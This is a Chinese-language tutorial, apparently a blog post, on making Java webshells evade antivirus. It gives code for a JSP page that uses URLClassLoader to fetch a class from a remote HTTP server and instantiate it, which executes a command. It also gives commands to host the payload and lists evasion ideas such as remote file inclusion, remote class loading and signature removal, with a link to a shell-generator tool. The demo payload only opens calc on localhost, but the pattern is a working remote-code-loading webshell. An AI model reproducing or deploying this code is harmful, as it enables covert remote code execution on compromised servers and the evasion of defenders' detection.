JAVA攻防-Webshell免杀&JSP&JSPX脚本&URL类加载&远程分离&文件包含&工具特征消除

知识点:

Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

演示案例-Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

免杀应用-URL类加载器


bash 复制代码
import java.io.IOException;
 
public class Run {
    public Run() throws IOException {
Runtime.getRuntime().exec("calc");
    }
}


bash 复制代码
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
 
public class URLTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
    }
}
bash 复制代码
javac Run.java
python -m http.server 8888





bash 复制代码
<%@ page import="java.net.URL, java.net.URLClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    try {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
out.println("Class loaded and instantiated successfully.");
    } catch (Exception e) {
out.println("Error: " + e.toString());
e.printStackTrace();
    }
%>





免杀应用-Webshell


1、本地文件包含





2、远程文件包含





3、远程读取配合类加载

4、远程类加载器配合

5、免杀工具思路特征改动

https://github.com/Ni4n/ShellGenerate










相关推荐
特立独行的猫A5 小时前
用仓颉语言 cj-tauri 框架,五分钟给娃做了个鸿蒙形近字游戏
java·后端·python
budingxiaomoli12 小时前
Spring统一功能处理
java·后端·spring
Flynn Liang13 小时前
可观测性与成本治理:一次对话的 17 个观测点
java·langchain·可观测性·micrometer·langchain4j·token 成本·llm 监控
金銀銅鐵14 小时前
带您看懂字节码指令(三):同一行加法,为什么有四种指令
java·jvm
文丑颜不良啊18 小时前
LeetCode2821~2840题目解析
java·leetcode
apcipot_rain18 小时前
C++转Java日记(10)
java·开发语言
简 洁 冬冬19 小时前
泛型方法写法全面辨析:从「能编译」到「能跑」到「能用」
java·泛型
LGL6030A19 小时前
Java学习历程31——初识Spring Boot
java·spring boot·学习
Lansonli21 小时前
大数据Spark(八十八):Spark任务资源之Standalone集群测试
java·服务器·spark
budingxiaomoli21 小时前
Spring AOP
java·spring·java-ee